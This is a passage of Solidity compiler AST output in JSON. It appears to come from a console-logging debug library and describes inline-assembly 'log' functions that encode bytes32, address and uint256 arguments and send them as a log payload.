,"nodeType":"VariableDeclarationStatement","src":"64879:10:22"},{"assignments":[35833],"declarations":[{"constant":false,"id":35833,"mutability":"mutable","name":"m5","nameLocation":"64907:2:22","nodeType":"VariableDeclaration","scope":35842,"src":"64899:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35832,"name":"bytes32","nodeType":"ElementaryTypeName","src":"64899:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35834,"nodeType":"VariableDeclarationStatement","src":"64899:10:22"},{"AST":{"nativeSrc":"64928:764:22","nodeType":"YulBlock","src":"64928:764:22","statements":[{"body":{"nativeSrc":"64971:313:22","nodeType":"YulBlock","src":"64971:313:22","statements":[{"nativeSrc":"64989:15:22","nodeType":"YulVariableDeclaration","src":"64989:15:22","value":{"kind":"number","nativeSrc":"65003:1:22","nodeType":"YulLiteral","src":"65003:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"64993:6:22","nodeType":"YulTypedName","src":"64993:6:22","type":""}]},{"body":{"nativeSrc":"65074:40:22","nodeType":"YulBlock","src":"65074:40:22","statements":[{"body":{"nativeSrc":"65103:9:22","nodeType":"YulBlock","src":"65103:9:22","statements":[{"nativeSrc":"65105:5:22","nodeType":"YulBreak","src":"65105:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"65091:6:22","nodeType":"YulIdentifier","src":"65091:6:22"},{"name":"w","nativeSrc":"65099:1:22","nodeType":"YulIdentifier","src":"65099:1:22"}],"functionName":{"name":"byte","nativeSrc":"65086:4:22","nodeType":"YulIdentifier","src":"65086:4:22"},"nativeSrc":"65086:15:22","nodeType":"YulFunctionCall","src":"65086:15:22"}],"functionName":{"name":"iszero","nativeSrc":"65079:6:22","nodeType":"YulIdentifier","src":"65079:6:22"},"nativeSrc":"65079:23:22","nodeType":"YulFunctionCall","src":"65079:23:22"},"nativeSrc":"65076:36:22","nodeType":"YulIf","src":"65076:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"65031:6:22","nodeType":"YulIdentifier","src":"65031:6:22"},{"kind":"number","nativeSrc":"65039:4:22","nodeType":"YulLiteral","src":"65039:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"65028:2:22","nodeType":"YulIdentifier","src":"65028:2:22"},"nativeSrc":"65028:16:22","nodeType":"YulFunctionCall","src":"65028:16:22"},"nativeSrc":"65021:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"65045:28:22","nodeType":"YulBlock","src":"65045:28:22","statements":[{"nativeSrc":"65047:24:22","nodeType":"YulAssignment","src":"65047:24:22","value":{"arguments":[{"name":"length","nativeSrc":"65061:6:22","nodeType":"YulIdentifier","src":"65061:6:22"},{"kind":"number","nativeSrc":"65069:1:22","nodeType":"YulLiteral","src":"65069:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"65057:3:22","nodeType":"YulIdentifier","src":"65057:3:22"},"nativeSrc":"65057:14:22","nodeType":"YulFunctionCall","src":"65057:14:22"},"variableNames":[{"name":"length","nativeSrc":"65047:6:22","nodeType":"YulIdentifier","src":"65047:6:22"}]}]},"pre":{"nativeSrc":"65025:2:22","nodeType":"YulBlock","src":"65025:2:22","statements":[]},"src":"65021:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"65138:3:22","nodeType":"YulIdentifier","src":"65138:3:22"},{"name":"length","nativeSrc":"65143:6:22","nodeType":"YulIdentifier","src":"65143:6:22"}],"functionName":{"name":"mstore","nativeSrc":"65131:6:22","nodeType":"YulIdentifier","src":"65131:6:22"},"nativeSrc":"65131:19:22","nodeType":"YulFunctionCall","src":"65131:19:22"},"nativeSrc":"65131:19:22","nodeType":"YulExpressionStatement","src":"65131:19:22"},{"nativeSrc":"65167:37:22","nodeType":"YulVariableDeclaration","src":"65167:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"65184:3:22","nodeType":"YulLiteral","src":"65184:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"65193:1:22","nodeType":"YulLiteral","src":"65193:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"65196:6:22","nodeType":"YulIdentifier","src":"65196:6:22"}],"functionName":{"name":"shl","nativeSrc":"65189:3:22","nodeType":"YulIdentifier","src":"65189:3:22"},"nativeSrc":"65189:14:22","nodeType":"YulFunctionCall","src":"65189:14:22"}],"functionName":{"name":"sub","nativeSrc":"65180:3:22","nodeType":"YulIdentifier","src":"65180:3:22"},"nativeSrc":"65180:24:22","nodeType":"YulFunctionCall","src":"65180:24:22"},"variables":[{"name":"shift","nativeSrc":"65171:5:22","nodeType":"YulTypedName","src":"65171:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"65232:3:22","nodeType":"YulIdentifier","src":"65232:3:22"},{"kind":"number","nativeSrc":"65237:4:22","nodeType":"YulLiteral","src":"65237:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"65228:3:22","nodeType":"YulIdentifier","src":"65228:3:22"},"nativeSrc":"65228:14:22","nodeType":"YulFunctionCall","src":"65228:14:22"},{"arguments":[{"name":"shift","nativeSrc":"65248:5:22","nodeType":"YulIdentifier","src":"65248:5:22"},{"arguments":[{"name":"shift","nativeSrc":"65259:5:22","nodeType":"YulIdentifier","src":"65259:5:22"},{"name":"w","nativeSrc":"65266:1:22","nodeType":"YulIdentifier","src":"65266:1:22"}],"functionName":{"name":"shr","nativeSrc":"65255:3:22","nodeType":"YulIdentifier","src":"65255:3:22"},"nativeSrc":"65255:13:22","nodeType":"YulFunctionCall","src":"65255:13:22"}],"functionName":{"name":"shl","nativeSrc":"65244:3:22","nodeType":"YulIdentifier","src":"65244:3:22"},"nativeSrc":"65244:25:22","nodeType":"YulFunctionCall","src":"65244:25:22"}],"functionName":{"name":"mstore","nativeSrc":"65221:6:22","nodeType":"YulIdentifier","src":"65221:6:22"},"nativeSrc":"65221:49:22","nodeType":"YulFunctionCall","src":"65221:49:22"},"nativeSrc":"65221:49:22","nodeType":"YulExpressionStatement","src":"65221:49:22"}]},"name":"writeString","nativeSrc":"64942:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"64963:3:22","nodeType":"YulTypedName","src":"64963:3:22","type":""},{"name":"w","nativeSrc":"64968:1:22","nodeType":"YulTypedName","src":"64968:1:22","type":""}],"src":"64942:342:22"},{"nativeSrc":"65297:17:22","nodeType":"YulAssignment","src":"65297:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"65309:4:22","nodeType":"YulLiteral","src":"65309:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"65303:5:22","nodeType":"YulIdentifier","src":"65303:5:22"},"nativeSrc":"65303:11:22","nodeType":"YulFunctionCall","src":"65303:11:22"},"variableNames":[{"name":"m0","nativeSrc":"65297:2:22","nodeType":"YulIdentifier","src":"65297:2:22"}]},{"nativeSrc":"65327:17:22","nodeType":"YulAssignment","src":"65327:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"65339:4:22","nodeType":"YulLiteral","src":"65339:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"65333:5:22","nodeType":"YulIdentifier","src":"65333:5:22"},"nativeSrc":"65333:11:22","nodeType":"YulFunctionCall","src":"65333:11:22"},"variableNames":[{"name":"m1","nativeSrc":"65327:2:22","nodeType":"YulIdentifier","src":"65327:2:22"}]},{"nativeSrc":"65357:17:22","nodeType":"YulAssignment","src":"65357:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"65369:4:22","nodeType":"YulLiteral","src":"65369:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"65363:5:22","nodeType":"YulIdentifier","src":"65363:5:22"},"nativeSrc":"65363:11:22","nodeType":"YulFunctionCall","src":"65363:11:22"},"variableNames":[{"name":"m2","nativeSrc":"65357:2:22","nodeType":"YulIdentifier","src":"65357:2:22"}]},{"nativeSrc":"65387:17:22","nodeType":"YulAssignment","src":"65387:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"65399:4:22","nodeType":"YulLiteral","src":"65399:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"65393:5:22","nodeType":"YulIdentifier","src":"65393:5:22"},"nativeSrc":"65393:11:22","nodeType":"YulFunctionCall","src":"65393:11:22"},"variableNames":[{"name":"m3","nativeSrc":"65387:2:22","nodeType":"YulIdentifier","src":"65387:2:22"}]},{"nativeSrc":"65417:17:22","nodeType":"YulAssignment","src":"65417:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"65429:4:22","nodeType":"YulLiteral","src":"65429:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"65423:5:22","nodeType":"YulIdentifier","src":"65423:5:22"},"nativeSrc":"65423:11:22","nodeType":"YulFunctionCall","src":"65423:11:22"},"variableNames":[{"name":"m4","nativeSrc":"65417:2:22","nodeType":"YulIdentifier","src":"65417:2:22"}]},{"nativeSrc":"65447:17:22","nodeType":"YulAssignment","src":"65447:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"65459:4:22","nodeType":"YulLiteral","src":"65459:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"65453:5:22","nodeType":"YulIdentifier","src":"65453:5:22"},"nativeSrc":"65453:11:22","nodeType":"YulFunctionCall","src":"65453:11:22"},"variableNames":[{"name":"m5","nativeSrc":"65447:2:22","nodeType":"YulIdentifier","src":"65447:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"65542:4:22","nodeType":"YulLiteral","src":"65542:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"65548:10:22","nodeType":"YulLiteral","src":"65548:10:22","type":"","value":"0x0d26b925"}],"functionName":{"name":"mstore","nativeSrc":"65535:6:22","nodeType":"YulIdentifier","src":"65535:6:22"},"nativeSrc":"65535:24:22","nodeType":"YulFunctionCall","src":"65535:24:22"},"nativeSrc":"65535:24:22","nodeType":"YulExpressionStatement","src":"65535:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"65579:4:22","nodeType":"YulLiteral","src":"65579:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"65585:4:22","nodeType":"YulLiteral","src":"65585:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"65572:6:22","nodeType":"YulIdentifier","src":"65572:6:22"},"nativeSrc":"65572:18:22","nodeType":"YulFunctionCall","src":"65572:18:22"},"nativeSrc":"65572:18:22","nodeType":"YulExpressionStatement","src":"65572:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"65610:4:22","nodeType":"YulLiteral","src":"65610:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"65616:2:22","nodeType":"YulIdentifier","src":"65616:2:22"}],"functionName":{"name":"mstore","nativeSrc":"65603:6:22","nodeType":"YulIdentifier","src":"65603:6:22"},"nativeSrc":"65603:16:22","nodeType":"YulFunctionCall","src":"65603:16:22"},"nativeSrc":"65603:16:22","nodeType":"YulExpressionStatement","src":"65603:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"65639:4:22","nodeType":"YulLiteral","src":"65639:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"65645:2:22","nodeType":"YulIdentifier","src":"65645:2:22"}],"functionName":{"name":"mstore","nativeSrc":"65632:6:22","nodeType":"YulIdentifier","src":"65632:6:22"},"nativeSrc":"65632:16:22","nodeType":"YulFunctionCall","src":"65632:16:22"},"nativeSrc":"65632:16:22","nodeType":"YulExpressionStatement","src":"65632:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"65673:4:22","nodeType":"YulLiteral","src":"65673:4:22","type":"","value":"0x80"},{"name":"p0","nativeSrc":"65679:2:22","nodeType":"YulIdentifier","src":"65679:2:22"}],"functionName":{"name":"writeString","nativeSrc":"65661:11:22","nodeType":"YulIdentifier","src":"65661:11:22"},"nativeSrc":"65661:21:22","nodeType":"YulFunctionCall","src":"65661:21:22"},"nativeSrc":"65661:21:22","nodeType":"YulExpressionStatement","src":"65661:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35818,"isOffset":false,"isSlot":false,"src":"65297:2:22","valueSize":1},{"declaration":35821,"isOffset":false,"isSlot":false,"src":"65327:2:22","valueSize":1},{"declaration":35824,"isOffset":false,"isSlot":false,"src":"65357:2:22","valueSize":1},{"declaration":35827,"isOffset":false,"isSlot":false,"src":"65387:2:22","valueSize":1},{"declaration":35830,"isOffset":false,"isSlot":false,"src":"65417:2:22","valueSize":1},{"declaration":35833,"isOffset":false,"isSlot":false,"src":"65447:2:22","valueSize":1},{"declaration":35810,"isOffset":false,"isSlot":false,"src":"65679:2:22","valueSize":1},{"declaration":35812,"isOffset":false,"isSlot":false,"src":"65616:2:22","valueSize":1},{"declaration":35814,"isOffset":false,"isSlot":false,"src":"65645:2:22","valueSize":1}],"id":35835,"nodeType":"InlineAssembly","src":"64919:773:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35837,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"65717:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786134","id":35838,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"65723:4:22","typeDescriptions":{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"},"value":"0xa4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"}],"id":35836,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"65701:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":35839,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"65701:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35840,"nodeType":"ExpressionStatement","src":"65701:27:22"},{"AST":{"nativeSrc":"65747:185:22","nodeType":"YulBlock","src":"65747:185:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"65768:4:22","nodeType":"YulLiteral","src":"65768:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"65774:2:22","nodeType":"YulIdentifier","src":"65774:2:22"}],"functionName":{"name":"mstore","nativeSrc":"65761:6:22","nodeType":"YulIdentifier","src":"65761:6:22"},"nativeSrc":"65761:16:22","nodeType":"YulFunctionCall","src":"65761:16:22"},"nativeSrc":"65761:16:22","nodeType":"YulExpressionStatement","src":"65761:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"65797:4:22","nodeType":"YulLiteral","src":"65797:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"65803:2:22","nodeType":"YulIdentifier","src":"65803:2:22"}],"functionName":{"name":"mstore","nativeSrc":"65790:6:22","nodeType":"YulIdentifier","src":"65790:6:22"},"nativeSrc":"65790:16:22","nodeType":"YulFunctionCall","src":"65790:16:22"},"nativeSrc":"65790:16:22","nodeType":"YulExpressionStatement","src":"65790:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"65826:4:22","nodeType":"YulLiteral","src":"65826:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"65832:2:22","nodeType":"YulIdentifier","src":"65832:2:22"}],"functionName":{"name":"mstore","nativeSrc":"65819:6:22","nodeType":"YulIdentifier","src":"65819:6:22"},"nativeSrc":"65819:16:22","nodeType":"YulFunctionCall","src":"65819:16:22"},"nativeSrc":"65819:16:22","nodeType":"YulExpressionStatement","src":"65819:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"65855:4:22","nodeType":"YulLiteral","src":"65855:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"65861:2:22","nodeType":"YulIdentifier","src":"65861:2:22"}],"functionName":{"name":"mstore","nativeSrc":"65848:6:22","nodeType":"YulIdentifier","src":"65848:6:22"},"nativeSrc":"65848:16:22","nodeType":"YulFunctionCall","src":"65848:16:22"},"nativeSrc":"65848:16:22","nodeType":"YulExpressionStatement","src":"65848:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"65884:4:22","nodeType":"YulLiteral","src":"65884:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"65890:2:22","nodeType":"YulIdentifier","src":"65890:2:22"}],"functionName":{"name":"mstore","nativeSrc":"65877:6:22","nodeType":"YulIdentifier","src":"65877:6:22"},"nativeSrc":"65877:16:22","nodeType":"YulFunctionCall","src":"65877:16:22"},"nativeSrc":"65877:16:22","nodeType":"YulExpressionStatement","src":"65877:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"65913:4:22","nodeType":"YulLiteral","src":"65913:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"65919:2:22","nodeType":"YulIdentifier","src":"65919:2:22"}],"functionName":{"name":"mstore","nativeSrc":"65906:6:22","nodeType":"YulIdentifier","src":"65906:6:22"},"nativeSrc":"65906:16:22","nodeType":"YulFunctionCall","src":"65906:16:22"},"nativeSrc":"65906:16:22","nodeType":"YulExpressionStatement","src":"65906:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35818,"isOffset":false,"isSlot":false,"src":"65774:2:22","valueSize":1},{"declaration":35821,"isOffset":false,"isSlot":false,"src":"65803:2:22","valueSize":1},{"declaration":35824,"isOffset":false,"isSlot":false,"src":"65832:2:22","valueSize":1},{"declaration":35827,"isOffset":false,"isSlot":false,"src":"65861:2:22","valueSize":1},{"declaration":35830,"isOffset":false,"isSlot":false,"src":"65890:2:22","valueSize":1},{"declaration":35833,"isOffset":false,"isSlot":false,"src":"65919:2:22","valueSize":1}],"id":35841,"nodeType":"InlineAssembly","src":"65738:194:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"64735:3:22","parameters":{"id":35815,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35810,"mutability":"mutable","name":"p0","nameLocation":"64747:2:22","nodeType":"VariableDeclaration","scope":35843,"src":"64739:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35809,"name":"bytes32","nodeType":"ElementaryTypeName","src":"64739:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":35812,"mutability":"mutable","name":"p1","nameLocation":"64759:2:22","nodeType":"VariableDeclaration","scope":35843,"src":"64751:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":35811,"name":"address","nodeType":"ElementaryTypeName","src":"64751:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":35814,"mutability":"mutable","name":"p2","nameLocation":"64771:2:22","nodeType":"VariableDeclaration","scope":35843,"src":"64763:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35813,"name":"uint256","nodeType":"ElementaryTypeName","src":"64763:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"64738:36:22"},"returnParameters":{"id":35816,"nodeType":"ParameterList","parameters":[],"src":"64789:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35884,"nodeType":"FunctionDefinition","src":"65944:1405:22","nodes":[],"body":{"id":35883,"nodeType":"Block","src":"66007:1342:22","nodes":[],"statements":[{"assignments":[35853],"declarations":[{"constant":false,"id":35853,"mutability":"mutable","name":"m0","nameLocation":"66025:2:22","nodeType":"VariableDeclaration","scope":35883,"src":"66017:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35852,"name":"bytes32","nodeType":"ElementaryTypeName","src":"66017:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35854,"nodeType":"VariableDeclarationStatement","src":"66017:10:22"},{"assignments":[35856],"declarations":[{"constant":false,"id":35856,"mutability":"mutable","name":"m1","nameLocation":"66045:2:22","nodeType":"VariableDeclaration","scope":35883,"src":"66037:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35855,"name":"bytes32","nodeType":"ElementaryTypeName","src":"66037:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35857,"nodeType":"VariableDeclarationStatement","src":"66037:10:22"},{"assignments":[35859],"declarations":[{"constant":false,"id":35859,"mutability":"mutable","name":"m2","nameLocation":"66065:2:22","nodeType":"VariableDeclaration","scope":35883,"src":"66057:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35858,"name":"bytes32","nodeType":"ElementaryTypeName","src":"66057:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35860,"nodeType":"VariableDeclarationStatement","src":"66057:10:22"},{"assignments":[35862],"declarations":[{"constant":false,"id":35862,"mutability":"mutable","name":"m3","nameLocation":"66085:2:22","nodeType":"VariableDeclaration","scope":35883,"src":"66077:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35861,"name":"bytes32","nodeType":"ElementaryTypeName","src":"66077:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35863,"nodeType":"VariableDeclarationStatement","src":"66077:10:22"},{"assignments":[35865],"declarations":[{"constant":false,"id":35865,"mutability":"mutable","name":"m4","nameLocation":"66105:2:22","nodeType":"VariableDeclaration","scope":35883,"src":"66097:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35864,"name":"bytes32","nodeType":"ElementaryTypeName","src":"66097:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35866,"nodeType":"VariableDeclarationStatement","src":"66097:10:22"},{"assignments":[35868],"declarations":[{"constant":false,"id":35868,"mutability":"mutable","name":"m5","nameLocation":"66125:2:22","nodeType":"VariableDeclaration","scope":35883,"src":"66117:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35867,"name":"bytes32","nodeType":"ElementaryTypeName","src":"66117:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35869,"nodeType":"VariableDeclarationStatement","src":"66117:10:22"},{"assignments":[35871],"declarations":[{"constant":false,"id":35871,"mutability":"mutable","name":"m6","nameLocation":"66145:2:22","nodeType":"VariableDeclaration","scope":35883,"src":"66137:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35870,"name":"bytes32","nodeType":"ElementaryTypeName","src":"66137:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35872,"nodeType":"VariableDeclarationStatement","src":"66137:10:22"},{"assignments":[35874],"declarations":[{"constant":false,"id":35874,"mutability":"mutable","name":"m7","nameLocation":"66165:2:22","nodeType":"VariableDeclaration","scope":35883,"src":"66157:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35873,"name":"bytes32","nodeType":"ElementaryTypeName","src":"66157:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35875,"nodeType":"VariableDeclarationStatement","src":"66157:10:22"},{"AST":{"nativeSrc":"66186:859:22","nodeType":"YulBlock","src":"66186:859:22","statements":[{"body":{"nativeSrc":"66229:313:22","nodeType":"YulBlock","src":"66229:313:22","statements":[{"nativeSrc":"66247:15:22","nodeType":"YulVariableDeclaration","src":"66247:15:22","value":{"kind":"number","nativeSrc":"66261:1:22","nodeType":"YulLiteral","src":"66261:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"66251:6:22","nodeType":"YulTypedName","src":"66251:6:22","type":""}]},{"body":{"nativeSrc":"66332:40:22","nodeType":"YulBlock","src":"66332:40:22","statements":[{"body":{"nativeSrc":"66361:9:22","nodeType":"YulBlock","src":"66361:9:22","statements":[{"nativeSrc":"66363:5:22","nodeType":"YulBreak","src":"66363:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"66349:6:22","nodeType":"YulIdentifier","src":"66349:6:22"},{"name":"w","nativeSrc":"66357:1:22","nodeType":"YulIdentifier","src":"66357:1:22"}],"functionName":{"name":"byte","nativeSrc":"66344:4:22","nodeType":"YulIdentifier","src":"66344:4:22"},"nativeSrc":"66344:15:22","nodeType":"YulFunctionCall","src":"66344:15:22"}],"functionName":{"name":"iszero","nativeSrc":"66337:6:22","nodeType":"YulIdentifier","src":"66337:6:22"},"nativeSrc":"66337:23:22","nodeType":"YulFunctionCall","src":"66337:23:22"},"nativeSrc":"66334:36:22","nodeType":"YulIf","src":"66334:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"66289:6:22","nodeType":"YulIdentifier","src":"66289:6:22"},{"kind":"number","nativeSrc":"66297:4:22","nodeType":"YulLiteral","src":"66297:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"66286:2:22","nodeType":"YulIdentifier","src":"66286:2:22"},"nativeSrc":"66286:16:22","nodeType":"YulFunctionCall","src":"66286:16:22"},"nativeSrc":"66279:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"66303:28:22","nodeType":"YulBlock","src":"66303:28:22","statements":[{"nativeSrc":"66305:24:22","nodeType":"YulAssignment","src":"66305:24:22","value":{"arguments":[{"name":"length","nativeSrc":"66319:6:22","nodeType":"YulIdentifier","src":"66319:6:22"},{"kind":"number","nativeSrc":"66327:1:22","nodeType":"YulLiteral","src":"66327:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"66315:3:22","nodeType":"YulIdentifier","src":"66315:3:22"},"nativeSrc":"66315:14:22","nodeType":"YulFunctionCall","src":"66315:14:22"},"variableNames":[{"name":"length","nativeSrc":"66305:6:22","nodeType":"YulIdentifier","src":"66305:6:22"}]}]},"pre":{"nativeSrc":"66283:2:22","nodeType":"YulBlock","src":"66283:2:22","statements":[]},"src":"66279:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"66396:3:22","nodeType":"YulIdentifier","src":"66396:3:22"},{"name":"length","nativeSrc":"66401:6:22","nodeType":"YulIdentifier","src":"66401:6:22"}],"functionName":{"name":"mstore","nativeSrc":"66389:6:22","nodeType":"YulIdentifier","src":"66389:6:22"},"nativeSrc":"66389:19:22","nodeType":"YulFunctionCall","src":"66389:19:22"},"nativeSrc":"66389:19:22","nodeType":"YulExpressionStatement","src":"66389:19:22"},{"nativeSrc":"66425:37:22","nodeType":"YulVariableDeclaration","src":"66425:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"66442:3:22","nodeType":"YulLiteral","src":"66442:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"66451:1:22","nodeType":"YulLiteral","src":"66451:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"66454:6:22","nodeType":"YulIdentifier","src":"66454:6:22"}],"functionName":{"name":"shl","nativeSrc":"66447:3:22","nodeType":"YulIdentifier","src":"66447:3:22"},"nativeSrc":"66447:14:22","nodeType":"YulFunctionCall","src":"66447:14:22"}],"functionName":{"name":"sub","nativeSrc":"66438:3:22","nodeType":"YulIdentifier","src":"66438:3:22"},"nativeSrc":"66438:24:22","nodeType":"YulFunctionCall","src":"66438:24:22"},"variables":[{"name":"shift","nativeSrc":"66429:5:22","nodeType":"YulTypedName","src":"66429:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"66490:3:22","nodeType":"YulIdentifier","src":"66490:3:22"},{"kind":"number","nativeSrc":"66495:4:22","nodeType":"YulLiteral","src":"66495:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"66486:3:22","nodeType":"YulIdentifier","src":"66486:3:22"},"nativeSrc":"66486:14:22","nodeType":"YulFunctionCall","src":"66486:14:22"},{"arguments":[{"name":"shift","nativeSrc":"66506:5:22","nodeType":"YulIdentifier","src":"66506:5:22"},{"arguments":[{"name":"shift","nativeSrc":"66517:5:22","nodeType":"YulIdentifier","src":"66517:5:22"},{"name":"w","nativeSrc":"66524:1:22","nodeType":"YulIdentifier","src":"66524:1:22"}],"functionName":{"name":"shr","nativeSrc":"66513:3:22","nodeType":"YulIdentifier","src":"66513:3:22"},"nativeSrc":"66513:13:22","nodeType":"YulFunctionCall","src":"66513:13:22"}],"functionName":{"name":"shl","nativeSrc":"66502:3:22","nodeType":"YulIdentifier","src":"66502:3:22"},"nativeSrc":"66502:25:22","nodeType":"YulFunctionCall","src":"66502:25:22"}],"functionName":{"name":"mstore","nativeSrc":"66479:6:22